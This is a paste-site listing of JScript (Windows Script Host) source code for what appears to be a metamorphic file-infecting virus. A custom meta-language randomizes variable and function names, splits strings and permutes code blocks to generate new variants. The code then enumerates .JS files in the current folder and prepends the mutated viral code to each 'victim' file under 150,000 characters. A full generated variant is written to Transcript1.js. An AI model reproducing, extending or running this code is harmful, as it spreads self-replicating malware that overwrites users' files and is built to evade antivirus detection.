  1992.         MetaLevelLanguage+='__(CVFa020|)yCVFTmpVarNames=#x1#O1°+CVFTmpVarNames+°#.sort(#x2fRandomizeFunction2x#)1O#1x#';
  1993.         MetaLevelLanguage+='__(CVFa030|)var CVFNumberOfArrayEntries=#x1fGiveRandomNumber(#x2#O1°+CVFTmpVarNames+°#.length1O#/#n3n#2x#)1x#';
  1994.         MetaLevelLanguage+='__(CVFa040|CVFa010)var CVFCodeToIntegrate=#x1°+CVFRandNameArr+°1x#';
  1995.         MetaLevelLanguage+='__(CVFa050|CVFa040)c+s(°+CVFCodeToIntegrate+°,#x1"=["1x#)';      
  1996.         MetaLevelLanguage+='__(CVFa060|)var CVFArrayIndexCounter=#x1#n0n#1x#';
  1997.         MetaLevelLanguage+='__(CVFa070|CVFa020,CVFa030,CVFa050,CVFa060)while(var CVFcounti=#n0n#$#x1°+CVFcounti+°1x#!#x2°+CVFNumberOfArrayEntries+°2x#?<@°+CVFcounti+°=°+CVFcounti+° +#n1n#)033';
  1998.             MetaLevelLanguage+='__(CVFb010|)var CVFSearchArrayEntries1=#x1#O1°+CVFOriginalCode+°#.indexOf(#x2°+CVFTmpVarNames+°[#x3°+CVFcounti+°3x#]2x#)1O#1x#';
  1999.             MetaLevelLanguage+='__(CVFb020|CVFb010)if(#x1°+CVFSearchArrayEntries1+°1x#!#x2#n-1n#2x#?!=)030';
  2000.                 MetaLevelLanguage+='__(CVFc010|)var CVFSearchArrayEntries2=°+CVFOriginalCode+°.indexOf(°+CVFTmpVarNames+°[°+CVFcounti+°],°+CVFSearchArrayEntries1+° +1)';                
  2001.                 MetaLevelLanguage+='__(CVFc020|CVFc010)if(#x1°+CVFSearchArrayEntries2+°1x#!#x2#n-1n#2x#?!=)027';
  2002.                     MetaLevelLanguage+='__(CVFd010|)var CVFSearchArrayEntries3=#x1#O1°+CVFOriginalCode+°#.indexOf(#x2°+CVFTmpVarNames+°[#x3°+CVFcounti+°3x#]2x#,#x5#x4°+CVFSearchArrayEntries2+°4x# +#n1n#5x#)1O#1x#';
  2003.                     MetaLevelLanguage+='__(CVFd020|CVFd010)if(#x1°+CVFSearchArrayEntries3+°1x#!#x2#n-1n#2x#?==)024';
  2004.                         MetaLevelLanguage+='__(CVFe010|)var CVFSearchArrayEntries4=#x1#O1°+CVFOriginalCode+°#.indexOf(#x2#x3°+CVFTmpVarNames+°[#x4°+CVFcounti+°4x#]3x#+#"="#2x#)1O#1x#';
  2005.                         MetaLevelLanguage+='__(CVFe020|CVFe010)var CVFVariableDefinition=#x1#O1°+CVFOriginalCode+°#.substring(#x2°+CVFSearchArrayEntries4+°2x# + #x3°+CVFTmpVarNames+°[#x4°+CVFcounti+°4x#].length+#n1n#3x#,#x5°+CVFOriginalCode+°.indexOf(#x6fGiveMeString(#n64n#)+fGiveMeString(#n59n#)6x#,#x7°+CVFSearchArrayEntries4+°7x#)5x#)1O#1x#';                        
  2006.                         MetaLevelLanguage+='__(CVFe030|CVFe020)if(#x1fGiveRandomNumber(#n4n#)1x#!#n3n#?<)014';
  2007.                             MetaLevelLanguage+='__(CVFf010|)c+s(°+CVFCodeToIntegrate+°,#x1#"funct"#1x#)';
  2008.                             MetaLevelLanguage+='__(CVFf020|CVFf010)c+s(°+CVFCodeToIntegrate+°,#x1#"ion(){retu"#1x#)';
  2009.                             MetaLevelLanguage+='__(CVFf030|CVFf020)c+s(°+CVFCodeToIntegrate+°,#x1#"rn "#1x#)';        
  2010.                             MetaLevelLanguage+='__(CVFf040|CVFf030)c+s(°+CVFCodeToIntegrate+°,#x1°+CVFVariableDefinition+°1x#)';    
  2011.                             MetaLevelLanguage+='__(CVFf050|CVFf040)c+s(°+CVFCodeToIntegrate+°,#x1fGiveMeString(#n59n#)+fGiveMeString(#n125n#)+fGiveMeString(#n44n#)1x#)';  
  2012.                             MetaLevelLanguage+='__(CVFf060|)var CVFOldMarker=#x1#O1°+CVFOriginalCode+°#.search(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n88n#)4x#+#x5fGiveMeString(#n64n#)5x#2x#)1O#1x#';
  2013.                             MetaLevelLanguage+='__(CVFf070|CVFf060)var CVFRes1=#x1(#x2°+CVFOldMarker+°2x#>#x3°+CVFSearchArrayEntries4+°3x#||#x4°+CVFOldMarker+°4x#==#x5#n-1n#5x#)1x#';                            
  2014.                             MetaLevelLanguage+='__(CVFf080|CVFf070)if(#x1°+CVFRes1+°1x#!#x2true2x#?==)002';
  2015.                                 MetaLevelLanguage+='__(CVFg010|)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n88n#)4x#+#x5fGiveMeString(#n64n#)5x#2x#,#""#)1O#1x#';
  2016.                                 MetaLevelLanguage+='__(CVFg020|CVFg010)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x2°+CVFTmpVarNames+°[#x3°+CVFcounti+°3x#]2x#+#x4fGiveMeString(#n61n#)4x#+ #x5°+CVFVariableDefinition+°5x# +#x6fGiveMeString(#n64n#)+fGiveMeString(#n59n#)6x#,#x7fGiveMeString(#n64n#)+fGiveMeString(#n88n#)+fGiveMeString(#n64n#)7x#)1O#1x#';
  2017.                             MetaLevelLanguage+='__(CVFf090|)001';
  2018.                                 MetaLevelLanguage+='__(CVFg010|)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x2°+CVFTmpVarNames+°[#x4°+CVFcounti+°4x#]+#x5fGiveMeString(#n61n#)5x#+ #x6°+CVFVariableDefinition+°6x# +#x7fGiveMeString(#n64n#)+fGiveMeString(#n59n#)7x#2x#,#x3#""#3x#)1O#1x#';                                
  2019.                             MetaLevelLanguage+='__(CVFf100|CVFf080)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x2°+CVFTmpVarNames+°[#x4°+CVFcounti+°4x#]2x#,#x2#x3°+CVFRandNameArr+°3x# +#x5fGiveMeString(#n91n#)5x#+ #x6°+CVFArrayIndexCounter+°6x# +#x7fGiveMeString(#n93n#)+fGiveMeString(#n40n#)+fGiveMeString(#n41n#)7x#2x#)1O#1x#';
  2020.                             MetaLevelLanguage+='__(CVFf110|CVFf100)c+1(°+CVFArrayIndexCounter+°)';
  2021.                         MetaLevelLanguage+='__(CVFe040|)006';
  2022.                             MetaLevelLanguage+='__(CVFf010|)var CVFRandFuncName=#x1fGiveRandomString()1x#';
  2023.                             MetaLevelLanguage+='__(CVFf020|CVFf010)ysFunctionNames.push(#x1°+CVFRandFuncName+°1x#)';
  2024.                             MetaLevelLanguage+='__(CVFf030|)ysFunctionDefs.push(#x1#x2#"ret"#2x#+#x3#"urn "#3x#+ #x4°+CVFVariableDefinition+°4x#1x#)';
  2025.                             MetaLevelLanguage+='__(CVFf040|)ysFunctionArgs.push(#x1#x2fGiveMeString(#n40n#)2x#+#x3fGiveMeString(#n41n#)3x#1x#)';
  2026.                             MetaLevelLanguage+='__(CVFf050|CVFf010)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x3°+CVFTmpVarNames+°[#x4°+CVFcounti+°4x#]3x#+#x5"="5x#+ #x6°+CVFVariableDefinition+°6x# +#x7#x8fGiveMeString(#n64n#)8x#+#x9fGiveMeString(#n59n#)9x#7x#,#x2#""#2x#)1O#1x#';
  2027.                             MetaLevelLanguage+='__(CVFf060|CVFf050)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x2°+CVFTmpVarNames+°[#x3°+CVFcounti+°3x#]2x#,#x7#x4°+CVFRandFuncName+°4x# +#x5fGiveMeString(#n40n#)5x#+#x6fGiveMeString(#n41n#)6x#7x#)1O#1x#';                  
  2028.                     MetaLevelLanguage+='__(CVFd030|)000';
  2029.                 MetaLevelLanguage+='__(CVFc030|)000';
  2030.             MetaLevelLanguage+='__(CVFb030|)000';        
  2031.         MetaLevelLanguage+='__(CVFa080|CVFa070)y°+CVFCodeToIntegrate+°=#x1#O1°+CVFCodeToIntegrate+°#.substring(#n0n#,#x2°+CVFCodeToIntegrate+°.length-#n1n#2x#)1O#+#"];"#1x#';      
  2032.         MetaLevelLanguage+='__(CVFa090|CVFa080)y°+CVFOriginalCode+°=#x1#O1°+CVFOriginalCode+°#.replace(#x2fGiveMeString(#n64n#)+fGiveMeString(#n88n#)+fGiveMeString(#n64n#)2x#,#x3°+CVFCodeToIntegrate+°3x#)1O#1x#';
  2033.     MetaLevelLanguage+='__(CVF0400|CVF0310,CVF0300)while(var CVFcountj=#n0n#$#x1°+CVFcountj+°1x#!#x2#O1sFunctionDefs#.length1O#2x#?<@°+CVFcountj+°=°+CVFcountj+° +#n1n#)003';    
  2034.         MetaLevelLanguage+='__(CVFa100|)var CVFPositionForIntegration=#x1fFindPositionForCode(#x2°+CVFOriginalCode+°2x#,#x3Infinity3x#)1x#';
  2035.         MetaLevelLanguage+='__(CVFa200|CVFa100)var CVFIntegrationPosition=#x1°+CVFPositionForIntegration+°[#x2fGiveRandomNumber(#x3#O1°+CVFPositionForIntegration+°#.length1O#3x#)2x#]1x#';
  2036.         MetaLevelLanguage+='__(CVFa300|CVFa200)y°+CVFOriginalCode+°=#x1#x2°+CVFOriginalCode+°.substring(#n0n#,#x3°+CVFIntegrationPosition+°3x#)2x#+#x4#"func"#4x#+#"tion "#+#x6sFunctionNames[°+CVFcountj+°]6x#+#x7sFunctionArgs[°+CVFcountj+°]7x#+#x8fGiveMeString(#n64n#)+fGiveMeString(#n123n#)8x#+#x9sFunctionDefs[°+CVFcountj+°]+fGiveMeString(#n64n#)+fGiveMeString(#n125n#)+ #x5°+CVFOriginalCode+°.substring(°+CVFIntegrationPosition+°)5x#9x#1x#';
  2037.     MetaLevelLanguage+='__(CVF0500|CVF0400)xreturn(#x1°+CVFOriginalCode+°1x#)';                    
  2038.            
  2039.            
  2040. MetaLevelLanguage+='__(vvvic|MetaDef)victory:sMetaLevelLanguage=';
  2041. MetaLevelLanguage+='__(orgv|vvvic)def OriginalMetaCode=#x1sMetaLevelLanguage1x#';
  2042. MetaLevelLanguage+='__(o010|orgv)while($#x1#O1°+sMetaLevelLanguage+°#.indexOf(#x2fGiveMeString(#n58n#)+fGiveMeString(#n45n#)+fGiveMeString(#n41n#)2x#)1O#1x#!#n-1n#?!=@)002';
  2043.     MetaLevelLanguage+='__(o011|)y°+sMetaLevelLanguage+°=#x1#O1°+sMetaLevelLanguage+°#.replace(#x2fGiveMeString(#n58n#)+fGiveMeString(#n45n#)+fGiveMeString(#n41n#)2x#,#x3fGiveMeString(#n43n#)+fGiveMeString(#n176n#)3x#)1O#1x#';
  2044.     MetaLevelLanguage+='__(o012|)y°+sMetaLevelLanguage+°=#x1#O1°+sMetaLevelLanguage+°#.replace(#x2fGiveMeString(#n40n#)+fGiveMeString(#n45n#)+fGiveMeString(#n58n#)2x#,#x3fGiveMeString(#n176n#)+fGiveMeString(#n43n#)3x#)1O#1x#';    
  2045. MetaLevelLanguage+='__(2440|o010)def RndMetaName=#x1fGiveRandomString()1x#';
  2046. MetaLevelLanguage+='__(2450|o010,2440)while($#x1#O1sMetaLevelLanguage#.indexOf(#x3#"sMetaLevelLanguage"#3x#)1O#1x#!#x2#n-1n#2x#?!=@)001';
  2047.     MetaLevelLanguage+='__(001|)xsMetaLevelLanguage=#x1#O1sMetaLevelLanguage#.replace(#x2#"sMetaLevelLanguage"#2x#,#x3RndMetaName3x#)1O#1x#';
  2048. MetaLevelLanguage+='__(2400|2450,o010,PC1000,PC0800,VDef001,VDef002,VDef003,VDef004,VDef005,VDef006,VDef007,VDef008,VDef009,VDef010,VDef011,VDef012,VDef014)def sFullCodeArray=#x1#O1sMetaLevelLanguage#.split(#x2#x3fGiveMeString(#n95n#)3x#+#x4fGiveMeString(#n95n#)4x#2x#)1O#1x#';
  2049. MetaLevelLanguage+='__(2500|2400)def sPermCodeArray=#x1fPermutator(#x2#O1sFullCodeArray#.slice()1O#2x#)1x#';
  2050. MetaLevelLanguage+='__(2600|PC0800,PC1000,PC1100,VDef015,2500)def sNewCode=#x1fCreateBlockOfCode(#x2sPermCodeArray2x#)1x#';
  2051. MetaLevelLanguage+='__(2700|2600)ysFunctionNames.reverse()';
  2052. MetaLevelLanguage+='__(2800|2600)ysFunctionDefs.reverse()';
  2053. MetaLevelLanguage+='__(2900|2600)ysFunctionArgs.reverse()';
  2054. MetaLevelLanguage+='__(3000|2600)ysVarDefs.reverse()';
  2055. MetaLevelLanguage+='__(3100|2600)ysVarNames.reverse()';
  2056. MetaLevelLanguage+='__(3200|2700,2800,2900,3000,3100)def sFinalCode=#x1fCreateVarsAndFuncts(#x2sNewCode2x#)1x#';
  2057. MetaLevelLanguage+='__(3300|3200)while($#x1#O1sFinalCode#.indexOf(#x2#x3fGiveMeString(#n33n#)3x#+#x4fGiveMeString(#n64n#)4x#+#x5fGiveMeString(#n123n#)5x#2x#)1O#1x#!#n-1n#?!=@)001';
  2058.     MetaLevelLanguage+='__(A100|)ysFinalCode=#x1#O1sFinalCode#.replace(#x5#x2fGiveMeString(#n33n#)2x#+#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n123n#)4x#5x#,#x6#""#6x#)1O#1x#';
  2059. MetaLevelLanguage+='__(3400|3200)while($#x1#O1sFinalCode#.indexOf(#x2#x3fGiveMeString(#n33n#)3x#+#x4fGiveMeString(#n64n#)4x#+#x5fGiveMeString(#n125n#)5x#2x#)1O#1x#!#n-1n#?!=@)001';
  2060.     MetaLevelLanguage+='__(A100|)ysFinalCode=#x1#O1sFinalCode#.replace(#x2#x3fGiveMeString(#n33n#)3x#+#x4fGiveMeString(#n64n#)4x#+#x5fGiveMeString(#n125n#)5x#2x#,#x6#""#6x#)1O#1x#';
  2061. MetaLevelLanguage+='__(3500|3300)while($#x1#O1sFinalCode#.indexOf(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n123n#)4x#2x#)1O#1x#!#n-1n#?!=@)001';
  2062.     MetaLevelLanguage+='__(A100|)ysFinalCode=#x1#O1sFinalCode#.replace(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n123n#)4x#2x#,#x5fGiveMeString(#n123n#)5x#)1O#1x#';
  2063. MetaLevelLanguage+='__(3600|3400)while($#x1#O1sFinalCode#.indexOf(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n125n#)4x#2x#)1O#1x#!#n-1n#?!=@)001';
  2064.     MetaLevelLanguage+='__(A100|)ysFinalCode=#x1#O1sFinalCode#.replace(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n125n#)4x#2x#,#x5fGiveMeString(#n125n#)5x#)1O#1x#';
  2065. MetaLevelLanguage+='__(3700|3200)while($#x1#O1sFinalCode#.indexOf(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n59n#)4x#2x#)1O#1x#!#n-1n#?!=@)001';
  2066.     MetaLevelLanguage+='__(A100|)ysFinalCode=#x1#O1sFinalCode#.replace(#x2#x3fGiveMeString(#n64n#)3x#+#x4fGiveMeString(#n59n#)4x#2x#,#x5fGiveMeString(#n59n#)5x#)1O#1x#';
  2067.  
  2068. MetaLevelLanguage+='__(3800|3200)ysFinalCode=#x1fRemoveVariableMask(#x2sFinalCode2x#)1x#';
  2069. MetaLevelLanguage+='__(3900|3200)ysFinalCode=#x1fRemoveVariableIndicator(#x2sFinalCode2x#)1x#';
  2070.  
  2071. MetaLevelLanguage+='__(4100|)def sfso=#x1#O1WScript#.CreateObject(#x2#"Scripting.FileSystemObject"#2x#)1O#1x#';
  2072.  
  2073. MetaLevelLanguage+='__(5000|4100)def CurrentFolder=#x1#O1sfso#.GetFolder(#x2#"."#2x#)1O#1x#';
  2074. MetaLevelLanguage+='__(5100|5000)def AllFiles=#x1#O1CurrentFolder#.Files1O#1x#';
  2075. MetaLevelLanguage+='__(5200|5100)def FilesC=#x1new Enumerator(#x2AllFiles2x#)1x#';
  2076. MetaLevelLanguage+='__(5300|5200)x#x1#O1FilesC#.moveFirst()1O#1x#';
  2077. MetaLevelLanguage+='__(5400|3500,3600,3700,3800,3900,5300)while($#x1#O1FilesC#.atEnd()1O#1x#!#x2false2x#?==@)014';
  2078.     MetaLevelLanguage+='__(NF10|)var FileName=#x1#O1FilesC#.item()1O#1x#';
  2079.     MetaLevelLanguage+='__(NF20|NF10)var FExt=#x1#O1sfso#.GetExtensionName(#x2°+FileName+°2x#)1O#1x#';
  2080.     MetaLevelLanguage+='__(NF30|NF20)if(#x1#O1°+FExt+°#.toUpperCase()1O#1x#!#x2#"JS"#2x#?==)009';        
  2081.         MetaLevelLanguage+='__(NFA10|)var hFileRead=#x1#O1sfso#.OpenTextFile(#x2°+FileName+°2x#,#x3#n1n#3x#)1O#1x#';
  2082.         MetaLevelLanguage+='__(NFA20|NFA10)var AllVictimData=#x1#O1°+hFileRead+°#.ReadAll()1O#1x#';
  2083.         MetaLevelLanguage+='__(NFA30|NFA20)x#x1#O1°+hFileRead+°#.close()1O#1x#';
  2084.         MetaLevelLanguage+='__(NFA50|NFA30)if(#x1#O1°+AllVictimData+°#.length1O#1x#!#x2#n150000n#2x#?<)004';
  2085.             MetaLevelLanguage+='__(NFB10|)var hFileWrite=#x1#O1sfso#.OpenTextFile(#x2°+FileName+°2x#,#x3#n2n#3x#)1O#1x#';        
  2086.             MetaLevelLanguage+='__(NFB20|)var NewVictimCode=#x1#x2sFinalCode2x#+#x3fGiveMeString(#n13n#)3x#+#x5fGiveMeString(#n10n#)5x#+ #x4°+AllVictimData+°4x#1x#';            
  2087.             MetaLevelLanguage+='__(NFB30|NFB10,NFB20)x#x1#O1°+hFileWrite+°#.Write(#x2°+NewVictimCode+°2x#)1O#1x#';
  2088.             MetaLevelLanguage+='__(NFB40|NFB30)x#x1#O1°+hFileWrite+°#.close()1O#1x#';  
  2089.         MetaLevelLanguage+='__(NFA60|)000';    
  2090.     MetaLevelLanguage+='__(NF31|)000';          
  2091.     MetaLevelLanguage+='__(NF40|NF10)y#x1#O1FilesC#.moveNext()1O#1x#';
  2092.  
  2093.  
  2094. OriginalMetaCode=MetaLevelLanguage;
  2095.  
  2096. PreCompilation();
  2097. WScript.Echo("after Precompilation")
  2098. FullCodeArray=MetaLevelLanguage.split('__');
  2099.  
  2100. PermCodeArray=Permutator(FullCodeArray.slice());
  2101. WScript.Echo("after permutator")
  2102. HierarchyOfCalls=0;
  2103. NewCode=CreateBlockOfCode(PermCodeArray);
  2104. WScript.Echo("after CreateBlockOfCode"+nnn+"VarDefs: "+VarDefs.length+nnn+"FunctionDefs: "+FunctionDefs.length)
  2105. FunctionNames.reverse();
  2106. FunctionDefs.reverse();                          
  2107. FunctionArgs.reverse();
  2108. VarDefs.reverse();
  2109. VarNames.reverse();
  2110.  
  2111. FinalCode=CreateVarsAndFuncts(NewCode);
  2112. WScript.Echo("after CreateVarsAndFuncts")
  2113. FinalCode=FinalCode.replace(/!@}/g,'');
  2114. FinalCode=FinalCode.replace(/!@{/g,'');
  2115. FinalCode=FinalCode.replace(/@}/g,'}'+s(13)+s(10));
  2116. FinalCode=FinalCode.replace(/@{/g,'{'+s(13)+s(10));
  2117. FinalCode=FinalCode.replace(/@;/g,';'+s(13)+s(10));
  2118.  
  2119. FinalCode=RemoveVariableMask(FinalCode);
  2120. FinalCode=RemoveVariableIndicator(FinalCode);
  2121.  
  2122. WScript.Echo(FinalCode)
  2123.  
  2124. fso=WScript.CreateObject("Scripting.FileSystemObject");
  2125. file=fso.CreateTextFile('Transcript1.js');file.Write(FinalCode);file.close();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement